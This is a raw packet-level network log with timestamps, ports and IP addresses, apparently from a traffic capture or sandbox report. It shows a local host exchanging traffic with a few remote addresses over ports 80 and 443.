Nov 18, 2024 00:27:24.325114012 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.325119019 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.343656063 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.344547033 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.344579935 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.345047951 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.345055103 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.398130894 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.398155928 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.398165941 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.398221970 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.398241997 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.398253918 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.398353100 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:24.398422956 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:24.398758888 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.398808956 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:24.399538040 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.399595976 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:24.400913000 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:24.405742884 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.410208941 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.410320044 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.410407066 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.410619974 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.410645008 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.410657883 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.410665989 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.413785934 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.413832903 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.413911104 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.414083958 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.414093018 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.455355883 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.455503941 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.455605030 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.455818892 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.455845118 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.455862045 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.455868959 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.458945990 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.458983898 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.459084988 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.459253073 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.459269047 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.465432882 CET	49672	443	192.168.2.6	173.222.162.64
Nov 18, 2024 00:27:24.474062920 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.474246979 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.474453926 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.474584103 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.474594116 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.474601030 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.474608898 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.477570057 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.477602005 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.477704048 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.477866888 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.477884054 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.677228928 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.677303076 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:24.699407101 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:24.699460030 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:24.705842972 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.705853939 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.705862999 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.705869913 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.705878973 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.707647085 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.707655907 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.890768051 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.891336918 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.891354084 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.891995907 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.892003059 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.903934002 CET	443	49749	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.904341936 CET	49749	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.904370070 CET	443	49749	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.904736042 CET	49749	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.904743910 CET	443	49749	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.021437883 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.021616936 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.021694899 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.021892071 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.021905899 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.021919012 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.021927118 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.025655985 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.025688887 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.025974989 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.026052952 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.026062965 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.035654068 CET	443	49749	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.035825014 CET	443	49749	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.035919905 CET	49749	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.036026001 CET	49749	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.036047935 CET	443	49749	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.036062956 CET	49749	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.036077023 CET	443	49749	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.039107084 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.039144993 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.039242029 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.039411068 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.039427996 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.154411077 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.155112982 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.155133009 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.155635118 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.155642033 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.194031954 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.194938898 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.194977045 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.195328951 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.195336103 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.212816000 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.213576078 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.213592052 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.214056015 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.214061975 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.327013016 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.327189922 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.327310085 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.327510118 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.327545881 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.327558994 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.327568054 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.331064939 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.331105947 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.331331968 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.331404924 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.331413031 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.347652912 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.347817898 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.347893000 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.348114967 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.348136902 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.348150969 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.348156929 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.351500988 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.351546049 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.351633072 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.351799011 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.351811886 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.494242907 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:25.494368076 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:25.497415066 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.497668028 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.497735023 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.497780085 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.497780085 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.497802019 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.497814894 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.501535892 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.501564026 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.501652002 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.501888990 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.501904964 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.776110888 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.776840925 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.776863098 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.777333021 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.777339935 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.785068989 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:25.789941072 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:25.793864965 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.794620037 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.794627905 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.795264959 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.795269966 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.906848907 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.907013893 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.907098055 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.908612013 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.908632994 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.908646107 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.908658981 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.925206900 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.925313950 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.925367117 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.927649975 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.927656889 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.927680016 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.927684069 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.940150976 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.940177917 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.940260887 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.941162109 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.941212893 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.941287994 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.941438913 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.941452980 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:25.941473961 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:25.941489935 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.066802979 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.066833973 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.066849947 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.066868067 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.066917896 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.066957951 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.067212105 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.067229033 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.067245007 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.067259073 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.067307949 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.067318916 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.067358971 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.068213940 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.068238974 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.068253994 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.068265915 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.068295956 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.075433969 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.076143980 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.076154947 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.076500893 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.076505899 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.103564978 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.104185104 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.104260921 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.104660034 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.104676962 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.206548929 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.207005978 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.207144022 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.214731932 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.214746952 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.214793921 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.214809895 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.214827061 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.214832067 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.214843988 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.214859009 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.214858055 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.214941978 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.214941978 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.215106010 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.215120077 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.215166092 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.215434074 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.215451002 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.215465069 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.215526104 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.215526104 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.215935946 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.215951920 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.215966940 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.216001034 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.216028929 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.216072083 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.216109037 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.216902018 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.216917038 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.216968060 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.216999054 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.218532085 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.218595982 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.218693972 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.218848944 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.218863964 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.228154898 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.234833002 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.234843969 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.235517025 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.235521078 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.235965967 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.236143112 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.236221075 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.245733023 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.245733023 CET	49757	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.245783091 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.245812893 CET	443	49757	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.249073029 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.249145985 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.249309063 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.249460936 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.249481916 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.299583912 CET	443	49707	173.222.162.64	192.168.2.6
Nov 18, 2024 00:27:26.299787045 CET	49707	443	192.168.2.6	173.222.162.64
Nov 18, 2024 00:27:26.330154896 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.330172062 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.330279112 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.330291986 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.330302954 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.330334902 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.330400944 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.330720901 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.330753088 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.330764055 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.330766916 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.330806017 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.331294060 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.331309080 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.331331015 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.331345081 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.331346035 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.331383944 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.331418037 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.332134008 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.332189083 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.372453928 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.372464895 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.372668028 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.372677088 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.372688055 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.372729063 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.372746944 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.448069096 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.448086023 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.448180914 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.448200941 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.448199034 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.448211908 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.448242903 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.448285103 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.448340893 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.448354006 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.448364973 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.448391914 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.448450089 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.448898077 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.448909998 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.448952913 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.448986053 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.449275017 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.449286938 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.449295044 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.449300051 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.449362040 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.488528967 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.488559008 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.488569021 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.488581896 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.488641024 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.488701105 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.561840057 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.561857939 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.561924934 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.562247992 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.562292099 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.562295914 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.562338114 CET	49741	80	192.168.2.6	185.215.113.206
